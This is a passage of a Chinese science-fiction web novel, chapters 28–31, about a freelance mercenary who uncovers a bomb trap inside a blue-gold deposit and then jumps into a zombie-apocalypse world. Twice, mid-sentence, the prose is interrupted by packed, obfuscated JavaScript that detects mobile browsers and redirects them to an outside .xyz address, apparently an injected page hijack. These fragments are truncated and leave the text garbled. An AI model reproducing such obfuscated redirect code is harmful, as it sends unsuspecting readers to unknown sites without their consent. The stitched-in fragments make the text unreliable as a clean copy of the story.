在找到自主选择穿越世界,或者说至少不要再穿越到那些只有毁灭、不能为她提供新信息的世界的方法前,更多的穿越实践越来越缺乏意义;她做佣兵任务时,偶尔会有组队一起行动的情况,频繁穿越,难免会被发现异样。所以,现在她在外使用空间跳跃器时,都会用上干扰器避免穿越。 她做佣兵也打出名声后,时常会有佣兵团试图招揽她,她表明只做自由佣兵后,又常有别的独行佣兵找她合作些单人不方便做的任务。 比如布莱恩,她是最经常联络伊冯组队合作的,伊冯通过她才知道,有许多收益高的任务并不通过佣兵中心发布。 “利比逖,你们得快点,我们的雇主已经迫不及待了。”通讯窗口投影在防护罩上,布莱恩促狭地笑着的脸出现在视讯界面中,她的后方,此次行动的雇主伍迪正视线不定地搓着手僵笑。 伊冯不为所动,挖起面前根部比地面部分长二十倍的植物,扫去土块,放进采集管中。做完这一系列动作,她才回话:“伍迪女士提供的信息有限,快不了。这种未登记行星上什么都有可能发生,我们也不想成为下一个‘虫囊’。” 女人听了这话,立刻带着惊恐的表情退出了布莱恩设备的摄入范围,画外音发颤:“你们慢慢来,慢慢查,不急,小心,安全第一,安全第一。” 布莱恩偷笑着在伍迪视线死角冲伊冯比了个大拇指,伊冯一笑回应,继续按部就班地采集样本、放置侦察标和定位标。 刘念警戒的同时留意着每一个侦察标传回的信息,尤其是向地下探查的部分。 伊冯说的“虫囊”,指的是“虫囊事件”。 一支佣兵小队在进入开发区边缘一颗无名星球探索时,被隐藏在地底的巨型虫类袭击拖入巢穴。当救援队伍轰开地表找到还显示存活的队员时,看到的是被刨开胸腹、体内填满虫卵的人壳,如同虫类孵化用的虫囊。 惊恐震怒的人们将那颗星球轰碎,并将那颗星球上第一次发现的虫类列入高危猎杀对象名单中——这目前还只是民间的名单,官方和学术界还在争论那种虫类是否有保留价值,研究塔也主张要活捉进行研究。毕竟这事发生至今只过了一月,那些虫类的存在,长远来说对人类究竟是祸是福,谁能断言? 宇宙里探险的队伍众多,无数的星球上奇闻诡事层出不穷,类“虫囊事件”并非孤例,只是这月还未传出有超过虫囊事件惨烈程度的新闻,伊冯提及关键词,仍能勾出恐惧。 刘念看着侦察标反馈的信息,停下脚步。 伊冯把采样容器放进随身解析仪,说:“我们之前派出探查的无人机传回的地图里,这块区域的图像和我们现在侦测到的不一致。侦察标传回的地下信息不超过一米,地下有东西。” “嘀”声后,伊冯从解析仪中拿出一个采样管并共享了解析报告,小指粗的解析管中一粒蓝色结晶沉在清绿的液体中。 “S级蓝金。” “S蓝金!” 布莱恩和伊冯同时说出结晶的名字,伍迪听到布莱恩的话立刻挤到屏幕前:“找到矿了?!” “还不能肯定。只是,一株星苔都能提出这么大的结晶,这里藏着的蓝金纯度和体积估计能破纪录吧。队长,我们得加快速度,这颗星球没有星苔以外的活物,应该是受蓝金影响。两个小时内如果不撤,这里的辐射场会对人体造成实质性损伤。”伊冯边说边活动筋骨,从腰带上取下凿子,对着地面来了一下,劈开了半米深的坑。 布莱恩把伍迪哄住,扭头见伊冯已经开工了。 “……”她是不是应该庆幸这人起码没开最大功率直接掀开地表。 为免她又在别人到之前就把活都干完了,布莱恩赶紧通知别的队员过去帮忙。 “小利比还是这么有干劲啊。”接到指令才悠哉地从单间里出来的莉亚舒展着身子,松垮地套着作战服,靠在墙上远远看着显示屏,完全没有要行动的意思。 “那可是S蓝金,谁会不兴奋呢。”蹲在舱门前的何瑞戴上防护面罩,边打开舱门出去边说,“我有预感,我一辈子能亲眼看到的蓝金全都在这了。” “祝你预感成真。”莉亚用手指卷着垂在眉间的头发,“就是不知道,我们的雇主能不能慷慨地,让我们有机会拥有这其中的一部分。” “当然当然,”伍迪僵硬地扯出笑脸,“一开始就说好的,找到东西,给你们五斤作为报酬……” 莉亚似笑非笑地看着她:“五斤?体量能够影响一整颗星球磁场的蓝金,您只用五斤打发人?” “我,这,”伍迪不可置信地看向布莱恩,“你们想毁约?!早都谈好了,你们还要临时改条件?你们,你们……” 伍迪“你们”了半天也说不出下文,她没有通过佣兵任务中心雇佣她们,系统里不会有她们的交易记录,她也没有告诉任何人自己来这里寻宝——伍迪意识到,如果不答应对方的条件,她们完全可以把她灭口,吞下所有的蓝金且毫无后患。 但她还是保有一丝幻想,这支队伍的领队名声很好,或许只是想稍微加价,不会做出太过火的事。 布莱恩看向莉亚的不满表情更增加了她的信心。 “我之前也不敢确定这里真的有这么多蓝金,所以价码可能是有点低……”伍迪吞了口唾沫,向布莱恩两手各伸出一个手指比在一起,“百分之十,无论发现多少蓝金,我都可以分给你们百分之十!” 布莱恩冲她露出安抚又为难的表情:“请您别误会,我懂规矩,谈好的价码没有再更改漫天要价的道理——” “那就当是我漫天要价吧?”莉亚走到伍迪身后,语气柔软懒散,一抬脚就把伍迪踢下椅子踩住:“百分之十?” “莉亚!”布莱恩厉声大喝,要靠近却被莉亚甩出的红钉逼退。 看着脚边细长的红色长钉,布莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621600|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩沉下脸,摁住放在腰上的武器:“玩笑开过头了,莉亚。” 莉亚浑不在意地用脚尖在伍迪胸前点节拍:“有必要做出这么一副容忍大度的样子吗?我们不过是临时凑伙的,又不是真的朝夕相处的队友。没好处的事没人会干。你是个好人,布莱恩,你在意名声;我目光短浅,只看得到实打实的好处。” 她脚上用力往下压了一压,伍迪就惊恐地发出漏风的求救声。 莉亚说:“赌赌我几秒能踩塌她的心脏?我赌比你的箭快。” 若是平时问伊冯,莉亚和布莱恩谁快,她会说是布莱恩;但对这场赌局下注,她会把所有筹码放在莉亚的位置。 因为布莱恩会让莉亚拥有胜局。这样才能拿到更多的好处。 她们不是头一回玩这种把戏,一个唱白脸一个唱红脸,装作内讧在合适的时机多挖好处。布莱恩总是扮白脸的那个,维持名声才能有生意,布莱恩的信誉太好,才会让一些想避开任务中心的人愿意托付。 恶人角色却不固定。因为布莱恩的队伍不稳定,她自己也是个独行佣兵,只是常作为组织人,联络些散兵共同完成多人任务。 那些当恶人的,大多不知道自己是戏中人。 伊冯不讨厌莉亚,莉亚只是在故意放置饵食、纵容她行事的环境里,被误导着对自己与别人的实力判断出现偏差,被允许着放纵贪欲。当然,能被放大的贪婪本身也很危险,若是愿意束缚自己,就不会如此迫切地用暴力勒索雇主,不会成为布莱恩的棋子。 伊冯不讨厌布莱恩,她虽然处处设计还要伪装表面的良善,但最后的结果双方都会满意,而伊冯作为临时队员也会是布莱恩这番计算后的受益者,有什么立场和理由指摘她呢。 蓝金可是顶级原料、超级能源,她赚的钱九成是为了买蓝金,卡洛琳给的那块蓝金虽然还未消耗完,但只够供应空间跳跃器的需要;若这次任务顺利完成,她因为资源不足而搁置的许多研究就能继续推进——是的,她也是为贪欲驱使,即使有一百种辞藻来修饰这份贪欲,也改变不了本质。 或许,用伍迪一个普通人拥有这么多蓝金只会招来灭顶之灾的理由,可以稍微让她们的行为多些正当性——然而伊冯不这么说服自己,她接受贪婪的自己。 伊冯停下手里的活:“何瑞去另一个方向探测了,布莱恩她们大概还有三分钟过来。” 过强的磁场干扰让机器难以运行,只能人工手动开掘。好在工具上的自辅助系统因为作用面积小不受磁场影响,否则伊冯可不干这种纯体力活。 刘念没停,继续挥舞着铁锹。 伊冯不是第一次和这人组队,她明里暗里确认过,刘念用的净是些最原始的工具,内部没有任何辅助系统。用一把只有铁片和铁棍组合成的铁锹,刘念也能三铲挖出一米。 刘念和伊冯一样,是没有固定队伍的自由佣兵,遇上需要合作的任务才会找人组队,或是被一些队伍邀请做外援。伊冯的卖点在她顶尖的电子技术,刘念则在于这不借助机械也强得惊人的执行能力。 刘念还有过一人在正面战斗中掀翻一个百人佣兵团的战绩。据说是对方要强留他加入,刘念表示有比他强的人存在的队伍才值得他效力,而后直接打瘫了阻拦的人,散步一样地离开了该佣兵团的大本营——从此成了独行佣兵里的名人。 伊冯在查证这个传言时,发现那个佣兵团正是被她劫持过的极武帮。 伊冯问:“布莱恩说这单任务是你主动招揽的,你怎么知道伍迪在这里发现了蓝金?” 刘念又掘了三铲土到一边,铁锹终于触到蓝色。他将铁锹收起,蹲下身抹开薄土,散着荧光的晶体透着惑人的幽亮。 没有回答,伊冯也不在意,接触过刘念的人都知道他不说话,实在有什么必须要沟通的,才用终端打几个字让系统念。就算先天有什么毛病,以刘念的名声和能力都不至于赚不到做手术的钱,比起哑疾,他的沉默更像是个人的怪癖,连打字都惜字如金。 伊冯跳到刘念挖出的坑里看他动作。 刘念细长的五指拂过蓝金,极轻微地抖动了几下——如果不是伊冯对自己的眼力自信,怕是会以为那是人手的自然颤动。 脚下的蓝金忽然如液体般涌动,它也确实变成了液体,伊冯脚下踩空,猛地沉坠向深处。 蓝金的能量太强,很快令防护罩过载失效,人体不能在这种环境多留,必须尽快返回飞船! 伊冯稳定身体试图向上游去,却看见刘念放松身体、面色如常地下沉。 他在蓝金自发的光亮中毫无迷茫地看着下方,胸膛仿佛还能自如呼吸般起伏。 下面有什么? 伊冯忍耐着增大的压力和缺氧带来的刺痛,跟着他往深处下潜。 29. 陷阱 寂静。 蓝色的浓稠液体中不存在二人之外的生命,听不到外界,更无法传达自己的声音。 没有防护罩的保护,眼球因为直接接触蓝金而刺痛、在痛觉中视线模糊掺杂幻觉,伊冯难以观察周围,只能盯死下方的刘念以防迷失。 蓝金液具备一定浮力,如果伊冯完全放松身体就会向上漂浮,因而还要施力下沉,这加速了她的体力消耗。 不见底的蓝金液中,她只有刘念作为参照物,疼痛延长了时间,偶尔会有她们已被凝固在原地的错觉。 她这样跟下去实在是有些冲动,想要返回地面现在还来得及——可伊冯不愿放弃。 蓝金下究竟藏着什么,是怎么做到固态液态的转化,刘念又是依靠什么在这里自如活动的?伊冯想要知道这一切,一旦她回头,这下面的秘密就与她毫无关系了,刘念不可能会和她分享这些答案。 当然,这些答案没重要到可以拿命拼。 内脏在重压下受损,血液一次次涌出喉头,嘴角渗出一点含不住的血珠,缀在伊冯下沉的轨迹上。 当视野因为缺氧而彻底变黑,伊冯才摁下应急氧气管的开关。抢得氧气的细胞恢复活力在体内全速流转,哀嚎的身体得到一瞬间的平静。 伊冯结束输氧,直到下一个缺氧的临界点到来。 她的腰包里还有一个氧气管,最极限地计算用量可以支撑四小时。在最后一个氧气管用到一半时,如果还没有脱离这个蓝金液,就挟持刘念逼他带自己脱困吧。 伊冯稍用力往下加速沉了沉靠近刘念。就算刘念在这里行动自如,她要缠上他也有的是办法。刘念会主动下来肯定准备充足,犯不着和她同归于尽。 就在伊冯打量刘念的脖子时,刘念抬头往她的方向看了一眼。 伊冯的视线模糊,只看到刘念抬头后又低头,两手在身旁画了个弧——白光乍起,吞没所见。 包裹着伊冯的蓝金液不知所踪,巨大的压力也随之消失,伊冯的身体贪婪地摄取氧气,她捂着胸口咳嗽不止。眼睛重新找到刘念,发现他站在一个复杂的操作台前。 她们正处于一个布满精密仪器的空间内。 这就是藏在蓝金内部的东西?怎么藏的,她们又是怎么进来的? 伊冯掏出护理液清洗了眼睛恢复视力,再仔细看身边的仪器,惊起:“引爆器?” 刘念抬手在操作台上输入指令,前方的屏幕分为同样的两份,操作台上也升起另一套操作板。 伊冯上前,把刘念调出来的界面看过,又自己调试查看:“只有自我维护和引/爆系统?” 刘念说:“这里被设置了自爆系统,会在条件达成的情况下引爆整颗星球。” 发声系统没问题啊。伊冯看了他一眼,那之前装哑是为什么,装神秘? 眼下有更重要的事,伊冯调出系统后台指令:引爆条件仅仅是蓝金被挖采百分之五——可以预见,如果这些蓝金被星盟发现,为了保护资源,她们会优先将整颗星球推动到方便控制的行政星附近;如果是被民间势力占有,为了守住矿,那些人大概率会选择在近星位置驻守定居——当这颗星球爆炸,死亡人数将以万记。 伊冯心中发寒,这个只为毁灭的系统满是恶意,什么人会设下这种陷阱? 伊冯问:“你一开始就知道这些?” 刘念摇头说:“没有具体到这个系统。我们只是在这里检测到了大量的蓝金,想查找来源,正准备行动时,那个人的飞船误降在这里发现了蓝金,我只能借助任务行事。” 难得他这么有问必答,说的还不少。伊冯又问:“这些蓝金只有表面是固体吗?你是怎么掌握下来的方法的?” 刘念看她,伊冯一副只是好奇的表情,仿佛是个不知道怀疑是什么的天真傻白甜。 刘念和她对视半晌,继续敲击着操控盘:“尽快解决回去,何瑞她们见到蓝金,效率不会太慢。” 伊冯遗憾地和刘念一起开始解码引爆程序,她在操作系统里翻了一圈没看到一丝返回地面的方法提示,还得靠刘念出去,不能把人逼急了。 他说“我们”——刘念已经归属于某个组织了?如果是官方的人,没必要这么迂回地确认蓝金的信息;以刘念的才能和傲气,民间团体只有三大佣兵团有资格让他效力吧?鬼和怪物的人从不露脸,他是追龙的人?还是说刘念的这张脸也是假的? 伊冯一心多用地在揣测刘念背景的同时破解了程序。 程序构成很简单,但思路很复杂,逻辑陷阱多得烦人,有些细节甚至让伊冯惊讶。有机会她真想和这个程序的编码者探讨一番。 她们花了三分钟将程序破解,大部分工作是伊冯做的。刘念只懂些基础,很多稍复杂的算法他都无从下手,于是基本在给伊冯做下手。但他的思路很高级,几个把伊冯都难住的点他倒是能点出些方向。 伊冯笃定刘念和布下陷阱的人有某种关系,或许师出同源也不一定。 “停。”伊冯将要把程序解除时,刘念突然阻止,“……没有附加指令吗?” “你是指哪种?”伊冯边问边检查,“没有,一个多余的字符都没有。” 刘念调出这个系统里仅有的另一套维护系统打开,拜托伊冯说:“找找这里面有没有别的东西?” 刘念的态度让伊冯更慎重起来,毕竟他知道不少内幕,或许这些程序里还另藏杀机。 “找到了。”看到找出的东西,伊冯皱眉。 藏在维护系统里的,是一个即时自爆指令,只要原先设置的自爆程序被解除,这个命令就会运行。这个命令和维护系统相互构成,直接取消会让失去系统制约的爆/炸物成为不定时炸弹,更加危险。 这个陷阱的设计者,还真是执着于找人给这些蓝金陪葬啊。 伊冯扭头想和刘念商量对策,却见刘念茫然地扶着台边,仿佛见到什么极其不可思议的东西。 一向喜怒不形于色的刘念,此时被伊冯看着这副失态的样子都不遮掩。 他深呼吸着平复情绪,再开口时声音微哑:“不用破解程序。写一个新指令,两小时后引爆。” 这是现在最可行的方法,星上只有她们一行人,撤离后再发通讯警告避免有人靠近,这颗星球的爆炸就不会波及任何人。 “可是,两小时?”伊冯不明白为什么是这个时间,她们进来花了近一小时,返回消耗一小时再加上劝说其他人离开的时间,剩余时间肯定不够跑出爆炸波范围。 刘念说:“上去五分钟就够了。下来时,我想等你放弃离开,带你绕了路。” 伊冯问:“……后来因为我实在纠缠,加上你觉得可以用上我的技术,才带我进来?” 刘念说:“嗯。” 听到刘念毫不犹豫毫不心虚的回答,伊冯微微一笑,手指在操作台上飞快敲击:这玩意儿的作风倒是和追龙的柯查尔是一派的。这事了结后她必须找时间揍他一次。 上到地面确实只用了五分钟。刘念让伊冯做好准备,两手一拍,她们就突然回到蓝金液中——伊冯尽管有所准备,还是呛了一口,刘念游过来抓住她的腰带,把她提着带上地面。 有人帮忙,伊冯就不自己费力了,心下计算时间。就算操作室离地面不远,只是为了迷惑人用了某种障眼法,刘念进出时应该也用了某种空间跳跃技术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621601|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。可惜她的监测器都被蓝金泡坏了,拿不到这个数据。 她不小心呛到,让蓝金液进入了身体,好在这些液体的蓝金纯度没那么高,不至于让她立刻毙命。 才回到她们下去时挖的洞,就感到一股震颤——每隔二十米就有一个高功率震裂器在运作,土层岩石都被荡成细粉,露出下面的蓝金矿体。 伊冯头皮发麻,赶紧爬出坑去找布莱恩叫她们停手。 刘念快步从她身后走过:“快回飞船上。” 伊冯看着被他抗着的已经昏迷的几人:“……” 真是简单直接的说服方式。 能省时间固然是好事,但他究竟是怎么做到,带她回地面后立刻找到所有人,并打晕她们打包带走的? 刘念雷厉风行,上船把人往地上一丢,收锚驾驶飞船离星。 伊冯摘下身上已经报废的设备换上备用的,用清洁棉擦着被蓝金液浸泡发红的皮肤,靠在一边看他操作。 这种大众款飞船用的操作系统和面板都是最常见的,可刘念使用时总会透露出一些生涩,似乎精通概念而少有实践。这种表现不应该出现在一个常年独行的佣兵身上。 伊冯问:“蓝金表面的通道是怎么打开的?我只看见你做了些手势,进出那个操作室时也一样——它是怎么识别的?操作室里没有那些装置,蓝金液里还藏着其他东西?” 刘念手上动作不停,说:“不是你概念里的那种要机器识别的手势指令。” 伊冯笑,只要一次性抛出一堆问题,刘念总会选一个回答。即使是之前装哑时,他也不拒绝交流。 她继续问:“不是我概念里的?不用借助机器识别的手势指令?我不明白,你说得好像那是某种超能力似的。” 刘念低着头操作,没有马上回答她,启动了空间跳跃器。 “等等,先别用这个!——”她的防穿越干扰器也坏了,这个没备用的! 刘念转身面对她,指了指脸。 伊冯抬手摸脸,还没找到能当镜子的东西确认—— 空间跳跃扭曲,刘念的脸变得模糊,熟悉的眩晕感击中了她。 眼前的世界又一次变换。 刘念看着伊冯消失后的那块空气愣神,转头看向舷窗外凝固的群星。 世界因为她的离开而沉寂。 一滴泪陡然从眼眶掉落,刘念茫然地接住自己的眼泪,更多泪珠砸进掌心,淋湿了手套。 刘念不去管失控的泪腺,手中出现一个遍布数字码块的圆柱形金属物件,他对着圆柱体顶端说话:“坐标零,与二号第五次同队合作,确定二号与三号为同一对象。这次,我们在伪造成星球的大量蓝金内部发现了恕设置的陷阱,以她的习惯,这样的陷阱不会只有一个,但愿我们能在爆炸前找出它们。” 在冷静的叙述中,刘念的眼泪终于停了,剩下的话却几番中断才说完整。刘念望着伊冯消失前站立的那个位置,说:“二号的面容伪装被蓝金破坏,三号才是她原本的样貌。我启动飞船的空间跳跃装置后,三号离开此位面,此位面时空随之停滞。看她的反应,这不是她第一次遭遇这种情况,但我是第一次见到这个世界凝固的样子,或许是因为这回我离她太近,世界终于发现我这个异类。她还在被动地受天赋影响,尚未自主掌控能力。” 刘念收起圆柱体,右手食指和中指二指合并往身前一划,在空气中划开缝隙,缝隙中涌出黑雾,缠绕成线,将他迎入漆黑的空间。 刘念任由黑雾吞没自己,忽然叹息道:“母亲,我找到她了,就算是为了见她,来见我吧。你的世界不接纳我,告诉我,我该存在于哪里,我该为什么而存在。” 30. 烦躁 爬满植物的破败建筑,浑浊的空气,攻击性极高的狂暴动物——伊冯占据高处,将又一只长着巨大獠牙的可怖东西击落,观察着下方蠢蠢欲动的攻击者们。 又是这样的世界,只能看到文明的残骸,遇到的生物都是低智无法交流的。这次的更过分,这些生物长得奇形怪状皮肤还黏糊散发怪味,恶心得伊冯都不想研究它们,只用远程攻击,不让它们靠近。 比起某次穿越后已在一只巨蟒的胃里,现在这个情况还算不上糟糕。 让伊冯焦虑的是,在这种地方她无法处理体内的蓝金。 如此高能量的物质,不用任何理论数据,也知道这绝非人体能承受的——伊冯通读过各式对蓝金的研究资料,更明白她摄入的分量代表着什么。 刘念为什么要多此一举开启空间跳跃?她们完全有余裕用正常高速模式撤离到安全位置,怎么想都用不上这种烧钱的功能。 飞船可是租的,损耗太过要加钱啊! 伊冯烦躁地打穿从后方摸上来的怪物脑袋:清理液和应急药只能缓解,她体内有蓝金,要根除蓝金对身体的损伤,至少要在医疗舱里泡两天;如果没及时治疗,做手术换血换器官都算轻的。要不是她为了防备昏迷的人醒来添乱,把损坏的装备都换了顺带填满了医疗包,现在连应急药都没有。 心里憋着气,伊冯手上动作大开大合,下手特别狠。 踹飞一个扑上来的仿佛灵长目的怪物后,伊冯在满是尘土的地上蹭掉鞋底沾上的腐臭物质:只能先尽快摆脱这些东西,再找个地方躲起来打几针,缓解拖延到回去的时候。 “这里还有活人,你们尽快解决过来汇合。” 突然出现的女人打落一片怪物,站在伊冯三步远的地方,突兀得和伊冯的穿越有一比。 女人的衣服过大,用布条缠在身上以方便行动,两手空空不见武器。 这个世界还有人类文明存续? 这次的穿越出现了什么变因吗? 伊冯余光扫过那些被她击落的东西表皮结起的白霜:冷冻弹? 女人向伊冯搭话:“我是第四区的苏弩,你是第几区的?按各区协议,这里应该是由我们负责?” 可以再和善热情地在自报家门的同时介绍一下世界观吗? 伊冯心下不切实际地想着,嘴上的回应很冷淡:“我的个人行为,和哪个区无关。” 出于对自身安全的考虑,伊冯设想过多种穿越后如果遭遇原住民该如何交流的方案,最终决定尽可能隐瞒自己外来者的身份。再友好的政权,也不会放任她这样具备一定战斗能力的外来者随意活动;她来自另一个世界的事实,或许还会让当地的研究者产生兴趣——她是喜欢做研究,但可不喜欢被别人研究。 名为苏弩的女人冲还有段距离的怪物隔空挥了一拳,那怪物被凭空出现的巨大冰块砸在地面,迅速被冻成冰尸。 还是没看到她用的武器。这么近的距离,再微小的工具伊冯也该看到使用的间隙。 从这些建筑和女人的穿着透露出的信息来看,这里不会是一个比她原来生活的文明更发达的地方,苏弩应该无法持有比伊冯所掌握的技术更高端的武器。如果是那样,下面这群危险的异常生物就不会如此肆意地攻击人类。 除非这里是被特意圈出的游戏区。 伊冯倒是知道阿纳托利系有个星球,特意保留了原始面貌专供闲得发慌的人玩极限游戏。 不是苏弩用工具弄出的冰,难道是苏弩的同伴在远处打来的冷冻弹?没有必要,这种作秀毫无意义,她也不可能发现不了。 可能性一个个排除,再不可思议,伊冯也只能认为苏弩是个人形制冰机——难道在这里这种能力是很寻常的事?这个星球是个什么构造?这里的人有了新的进化方向?她都能肉身穿梭时空,存在异化出制冰功能的人也不是不可能。 伊冯的手摸到腰上的检测仪,蠢蠢欲动。 “别误会,你应该也知道最近局势有些乱,我只是想确认你不会是我们的敌人。”苏弩见伊冯的动作,摆出一个笑表示无恶意,身体却是随时可以进攻的状态。 伊冯放下手,踹下两只爬上来的东西,说:“我不认识你们,没必要和你们作对。” 苏弩不再说话,和伊冯一起沉默着清场。 伊冯为免露馅,接下来的战斗都只用拳头和脚。好在她的基本功扎实,应付这些只是力气比较大但破绽百出的怪物并不费力。加上占据高处优势,大多时候只要把它们丢下楼就行。只是这样就无法避免地要沾到那些腐臭的粘液,这让她的心情越来越差。 虽然伊冯这边减弱了输出,但多了一个人,怪物群还是被高效率地清除着,伊冯保守估计再有两分钟就能解决。 不过,这些东西究竟是什么? 伊冯看着下方在攀爬过程中相互拉扯撕咬的怪物们:她能看出些动物的影子,那些灵长目外形的许多身上还挂着些残破的布料;它们的表皮坚硬,却又从内溃烂可见骨肉;怪物们的皮毛什么颜色的都有,那些灵长目外形的大多灰中泛青绿。 伊冯眼里看着,心中没多少波澜,奇幻作品里多的是比这些怪物外表更有想象力更恶心的设计,这些东西的冲击力就在于它们是真实存在的。但它们攻防都弱,当发泄情绪的沙包都嫌手感不够,伊冯打了几只就觉得没意思,只当看奇物展了。 或许伊冯划水得太明显,苏弩意识到她是不愿意在自己面前显露能力。拖拖拉拉和这群东西耗也没意义,苏弩抬手用力往下一压,厚重的一层冰将扑腾的怪物们封在地面。 伊冯直接跳到冰上——还挺结实。冰下的怪物还没死,看来苏弩这招只是为了限制怪物们的行动,再逐个消灭。 目测了冰面的厚度,伊冯惋惜着没机会研究苏弩制冰的原理,一边往她听到脚步声的反方向走。 一穿越就被那些怪物缠上,打斗活动加速了蓝金对身体的侵蚀,伊冯察觉自己的体温在下降,胸腹隐隐阵痛;再不打一针强力药,恐怕要当着苏弩的面昏死。她倒是想就地打坐先来一针,就怕苏弩多话问起,她随口掰出个这个世界观不存在的毛病。 伊冯走得干脆,苏弩看着她,也只是跳下楼去和队友汇合。 走进一片残墟投下的阴影,伊冯快速拐进角落,先往脖子上扎了一剂,再找个平坦视野好的地方坐下。 人生地不熟的,在哪里耗时间都没有区别。伊冯打开几个仪器,记下屏幕上出现的数据。 “苏弩姐,你发现的人呢?” 苏弩的视线在同伴们身上一一转过,确认她们的安全后,说:“走了。” “一个人走了?这一带聚集了大量的丧尸,不要命了?” “她的身手很好,可以确认是异能者,在看到我后隐藏了能力。应该是风属性,附近几区的异能者中没听说过有这号人。”苏弩走到一具被踢烂脑袋的丧尸前,从脑髓里扣出不规则的黄色晶体,“她好像对晶核没有兴趣。” 开始清理战场回收晶核的队友们闻言,不可思议地对望。其中一位包裹众多的队员从背囊里掏出厚重的联络器,向上级汇报现场情况的同时说:“不在乎晶核,要么是强到不需要,要么是不知道丧尸存在的隐居人士。” 几人因这并不好笑的笑话苦笑,人类在绝境中和丧尸你死我活地斗了百余年,为了能多种一平米的粮食寻找没被污染的土地,前赴后继牺牲无数。哪里还有不知丧尸为何物的世外桃源? 在末日中挣扎的人类终于为适应绝境异化,诞生了少数不会被丧尸病毒感染的异能者。然而可以运用超凡能力的异能者们能做到的,也只是比普通人更快地杀死丧尸,她们的能力不能让末世结束。 直到人们发现丧尸脑中的结晶可以 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发出消息的队员把联络器收好,说:“还没有人表示认识她。区长希望我们能再和她进行接触获取信息,确认危险程度。周边的行动组也会尽快赶来支援。” 苏弩点头,冲队中顶着头杂乱卷毛的女孩招手:“小鸟,辅助曾禾确认目标位置。” 天空灰蒙蒙,没有天花板的楼里也光线不足昏沉晦暗。 伊冯把能起效的缓解药物间隔着服用注入,虽然内脏不堪重负地发疼传达警报,但把血液放入解析仪中得到的结果不差,还没有恶化的危险。只是回去后肯定得做手术换点零件了。 离开蓝金液后她虽然用清洁棉擦掉了皮肤上残余的蓝金,但还没用药抵抗接触造成的腐蚀。好在衣服密闭性好,当时直接接触的部分不多,脸上又有利比逖的面具挡了一层,所以只有手部的部分皮肤受损。现在情况特殊,比起体内的蓝金,外部的一些小伤不值得用药,简单清洁包扎避免感染就够了。 按目前的情况,身上的药最大限度利用可以撑半个月——她目前的穿越记录里,最长耗时是过了一星期才回去原来的时空。 谁能保证这一次是多久呢,万一再给她破破记录,呵呵。 伊冯一心二用,记着仪器上的数据,同时计划各种情况下的替换方案。 “嗯?”探测仪上反馈的数据中,有几个磁场波段和那颗藏着蓝金的星球一致。 几个不连续的波段,若是平时伊冯不会把它们硬牵扯起来,但现在伊冯需要解决体内的蓝金,那这些相同的波段,就具备了更高的价值。 会产生如此吻合的波段,地理环境必然高度相似——也就是说,这里也有蓝金矿? 如果能找到纯度比她体内的更高的蓝金,制作针对性解毒剂就会简单很多。 伊冯收起东西,准备往最近的反馈回同一磁场波段的方向去。 她放下才抬起的脚:“苏弩?” 空旷的前方,苏弩从扭曲的空气中走出。 隐藏被发现让苏弩更加警惕,她的语气也随之强硬:“我以为你已经离开了,可你还留在这,为了什么?” 和苏弩第一次见面时,苏弩应该也是这样藏起来,在一边观察了她一段时间才出现。 她和这个世界格格不入的异常,早就被这人看在眼里。 伊冯的定影在指间启动。 为什么她要和将来一辈子也不会再见面的人玩你说我猜的游戏? 伊冯说:“我赶时间。” 昏暗的废墟中轰雷掣电,苏弩树起的冰墙转瞬被劈得粉碎,隐蔽中的队员们被雷霆逼出藏身点,别说进攻,连防御都在电闪雷鸣中节节败退。 “这是什么怪物?!”高瘦子躲得尤其艰难,捂着被劈焦的头发哀嚎。 苏弩被雷电逼得进退不得,想和伊冯交涉也一再被袭来的闪电打断,突然眼前一花,她周围的霹雳消失,少年已出现在她身侧。 31. 合作 伊冯将武器定影在五指间转动,看着地上昏迷的人:超时代的战力压制果然太欺负人了。 她又坐回之前的地方,支着下巴点人:六个人。 之前和苏弩分开时,她望见的人影有七个。至少还有两个人不知道躲在哪。 要么是底牌,要么是非战斗人员——她不是很在意,六个人质在手,怎么都不会太被动。 伊冯等了会儿,见没有人醒来,掂了块指甲盖大的小碎石丢在那个高瘦的女人脑门上:雷击时这人叫唤得最厉害,就从她问起吧。 没打醒。 不知是自己这会儿不舒服手感差了,还是这人的皮太厚实。 伊冯又捡了块稍大的丢过去。 还是没醒。 伊冯看了眼脚边拳头大的石头,觉得还是换一个沟通对象比较好。 她在手掌里拢了一把碎石:挨个丢一遍,总有个别皮薄能醒的吧。 一小时前。 高瘦子瞪眼看着毫无防备坐在水泥板上的伊冯:“她和苏姐分开还没走三十米就停了?她坐在那干什么?她盯着的那个机器是什么,还有她手边那些管子是什么?” “安静。”小鸟踹了她一脚,手在冰面映出的画面上转了几转,将视角调整到伊冯身后,显出探测仪的面板,“曾禾,你认识这个吗?” 曾禾闭着眼睛却知道她说的画面,早在小鸟问她前眉头便锁在一块:“没见过的符号,有点像地质仪,但和我们的差别非常大。而且这个仪器的精度……人类在进入末世后,就没有制作这种机器的精力了……” 她语速本就不快,越说越慢,不自然地停止。 苏弩皱眉:“说。” 曾禾咽了口唾沫,掐住大腿让自己发出声音:“一直有一种猜想,末世和丧尸都是人为产物——这种猜想总被认为异想天开,全世界都被席卷其中,没有任何人或组织显示出因此获益。可是这个少年,她似乎拥有高于我们原有文明的科技手段。” 她说得更慢了:“有没有可能,造出末世的罪魁祸首,一直隐藏在某处?而现在,终于到了验收成果的时候?” 